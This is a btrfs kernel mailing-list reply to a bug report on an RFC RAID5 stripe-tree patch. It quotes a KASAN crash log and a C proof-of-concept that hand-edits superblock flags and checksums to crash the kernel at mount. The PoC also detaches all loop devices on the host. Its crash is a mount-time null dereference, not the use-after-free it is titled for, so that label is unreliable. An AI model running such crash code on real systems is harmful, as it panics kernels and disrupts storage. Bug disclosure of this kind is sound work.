Re: [RFC 08/15] btrfs: implement RAID stripe-tree RAID5 writes
Johannes Thumshirn <[email protected]>
| Newsgroups | org.kernel.vger.linux-btrfs |
|---|---|
| Message-ID | <[email protected]> |
On 6/22/26 10:20 PM, XIAO WU wrote:
> Hi Johannes,
>
> I came across the Sashiko AI review [1] of this patch and was able to
> reproduce a null pointer dereference during mount on a RAID5 filesystem
> with the raid-stripe-tree feature enabled. I wanted to share the
> concrete evidence since it crashes deterministically with KASAN.
>
> > + set->stripe_units[i].pstripe = pstripe;
>
> The Sashik identified that btrfs_stripe_set_alloc() stores a
> direct pointer into bioc->stripes[] without taking a reference on the
> bioc. When the data bios complete first, the bioc can be freed before
> the async parity workqueue dereferences pstripe. The review also noted
> several other issues in the same patch:
>
> - raid56_write_end_io_work() completes the data ordered extent before
> the parity bio finishes — an fsync could return success while data
> remains without parity protection on disk.
>
> - btrfs_submit_raid56_write() overwrites bio->bi_end_io and may leak
> the base bioc allocation reference on every chunk write.
>
> - btrfs_rst_raid56_write() folds the full unsplit bio size into the
> parity buffer, which could cause double-folding on the remainder
> when the caller loops after btrfs_split_bio().
>
> - bio_set_dev(bio, pstripe->dev->bdev) followed by submit_bio()
> will panic on a degraded array where the missing device's bdev
> is NULL.
>
Hi,
Sorry for the late reply. Thanks for the report. As I wrote in the cover
letter this is a pure RFC and not intended to be used yet. I'll fix it
up so the 1st official submission won't have this bug.
> [Reproduction]
>
> The PoC creates three loopback devices, makes a RAID5 btrfs, then
> manually flips the raid-stripe-tree incompat flag in each superblock
> (recalculating CRC32C) before mounting. The null pointer dereference
> occurs deterministically during mount in btrfs_read_block_groups().
>
> [Crash log — kernel 7.1.0-g3b216e369cba, CONFIG_KASAN=y, SMP]
>
> BTRFS info (device loop0): first mount of filesystem df5f7a81-...
> BTRFS info (device loop0): using crc32c checksum algorithm
>
> Oops: general protection fault, probably for non-canonical address
> 0xdffffc0000000020: 0000 [#1] SMP KASAN NOPTI
> KASAN: null-ptr-deref in range [0x0000000000000100-0x0000000000000107]
>
> RIP: 0010:btrfs_update_global_block_rsv+0x452/0x960
> RAX: 0000000000000020 RBX: 0000000000000000 RCX: 0000000000000000
> RDX: dffffc0000000000 RBP: 0000000000000000
>
> Call Trace:
> <TASK>
> btrfs_update_global_block_rsv+0x452/0x960
> btrfs_read_block_groups+0x16ee/0x2e20
> open_ctree+0x4804/0x8370
> btrfs_get_tree+0x1346/0x2740
> vfs_get_tree+0x93/0x340
> path_mount+0x7c4/0x2390
> __x64_sys_mount+0x298/0x310
> do_syscall_64+0x129/0x850
> entry_SYSCALL_64_after_hwframe+0x77/0x7f
> </TASK>
>
> Kernel panic - not syncing: Fatal exception
>
> The PoC is attached below. It compiles with:
>
> gcc -o poc poc.c -static
>
> [1]
> https://sashiko.dev/#/patchset/20260619090211.497100-1-johannes.thumshirn%40wdc.com
> (Sashiko AI code review — "Use-After-Free", Severity: High)
>
> Thanks,
> XIAOWU
>
> /*
> * PoC: btrfs RAID stripe-tree RAID5 write Use-After-Free
> *
> * Bug: In btrfs_stripe_set_alloc(), raw pointer into bioc->stripes[] is
> * stored as pstripe without incrementing bioc refcount.
> */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <stdint.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <sys/mount.h>
> #include <sys/wait.h>
>
> #define MOUNT_POINT "/mnt"
>
> int main(void)
> {
> char cmd[1024];
>
> setbuf(stdout, NULL);
>
> system("losetup -D 2>/dev/null; umount /mnt 2>/dev/null");
>
> printf("[*] Creating backing files...\n");
> for (int i = 0; i < 3; i++) {
> snprintf(cmd, sizeof(cmd),
> "dd if=/dev/zero of=/tmp/disk%d.img bs=1M count=512
> 2>/dev/null", i);
> system(cmd);
> }
>
> printf("[*] Setting up loop devices...\n");
> for (int i = 0; i < 3; i++) {
> snprintf(cmd, sizeof(cmd), "losetup /dev/loop%d
> /tmp/disk%d.img 2>&1", i, i);
> system(cmd);
> }
>
> printf("[*] Creating RAID5 btrfs...\n");
> system("mkfs.btrfs -f -d raid5 -m raid5 /dev/loop0 /dev/loop1
> /dev/loop2 2>&1");
> system("sync");
>
> /*
> * Write Python script for superblock update to a file first
> * to avoid quoting issues.
> */
> printf("[*] Writing and running Python fix script...\n");
> system("cat > /tmp/fix_sb.py << 'SCRIPT'\n"
> "#!/usr/bin/env python3\n"
> "import struct, os, sys\n"
> "\n"
> "# CRC32C using polynomial 0x1EDC6F41 (reflected: 0x82F63B78)\n"
> "table = [0] * 256\n"
> "for i in range(256):\n"
> " crc = i\n"
> " for _ in range(8):\n"
> " if crc & 1:\n"
> " crc = (crc >> 1) ^ 0x82F63B78\n"
> " else:\n"
> " crc >>= 1\n"
> " table[i] = crc\n"
> "\n"
> "def crc32c_calc(data):\n"
> " crc = 0xFFFFFFFF\n"
> " for byte in data:\n"
> " crc = (crc >> 8) ^ table[(crc ^ byte) & 0xFF]\n"
> " return crc ^ 0xFFFFFFFF\n"
> "\n"
> "# Verify with known test vector\n"
> "test_csum = crc32c_calc(b'\\x00' * 4064) # 4096-32=4064\n"
> "print(f'Test CRC32C of 4064 zero bytes: {test_csum:08x}')\n"
> "\n"
> "for dev in ['/dev/loop0', '/dev/loop1', '/dev/loop2']:\n"
> " for sb_base in [65536, 67108864]:\n"
> " try:\n"
> " with open(dev, 'r+b') as f:\n"
> " f.seek(sb_base)\n"
> " sb = bytearray(f.read(4096))\n"
> " \n"
> " # incompat_flags at offset 0xBC (188)\n"
> " val = struct.unpack('<Q', sb[188:196])[0]\n"
> " new_val = val | (1 << 14)\n"
> " print(f'{dev}@{sb_base}: 0x{val:x} ->
> 0x{new_val:x}')\n"
> " struct.pack_into('<Q', sb, 188, new_val)\n"
> " \n"
> " # Compute CRC32C over bytes 32..4095\n"
> " csum = crc32c_calc(bytes(sb[32:4096]))\n"
> " struct.pack_into('<I', sb, 0, csum)\n"
> " \n"
> " f.seek(sb_base)\n"
> " f.write(bytes(sb))\n"
> " except Exception as e:\n"
> " print(f'Error: {e}', file=sys.stderr)\n"
> "os.sync()\n"
> "print('Done!')\n"
> "SCRIPT\n");
>
> system("python3 /tmp/fix_sb.py 2>&1");
>
> printf("[*] Attempting mount ro,rescue=ignorebadroots...\n");
> if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_RDONLY,
> "rescue=ignorebadroots,rescue=usebackuproot") != 0) {
> perror("mount with rescue");
> /* Try without usebackuproot */
> if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_RDONLY,
> "rescue=ignorebadroots") != 0) {
> perror("mount simple rescue");
> system("dmesg | tail -5");
> goto cleanup;
> }
> }
> printf("[+] Mounted ro!\n");
>
> /* Try to remount rw */
> if (mount("/dev/loop0", MOUNT_POINT, "btrfs", MS_REMOUNT, NULL) ==
> 0) {
> printf("[+] Remounted rw!\n");
> unsigned char *buf = malloc(262144);
> if (buf) {
> memset(buf, 0xA5, 262144);
> int fd = open(MOUNT_POINT "/test", O_CREAT | O_RDWR, 0644);
> if (fd >= 0) {
> for (int i = 0; i < 50; i++) {
> write(fd, buf, 262144);
> fsync(fd);
> }
> close(fd);
> }
> free(buf);
> }
> sync();
> usleep(500000);
> }
> umount(MOUNT_POINT);
>
> cleanup:
> system("losetup -D 2>/dev/null");
> for (int i = 0; i < 3; i++) {
> snprintf(cmd, sizeof(cmd), "rm -f /tmp/disk%d.img", i);
> system(cmd);
> }
> return 0;
> }
>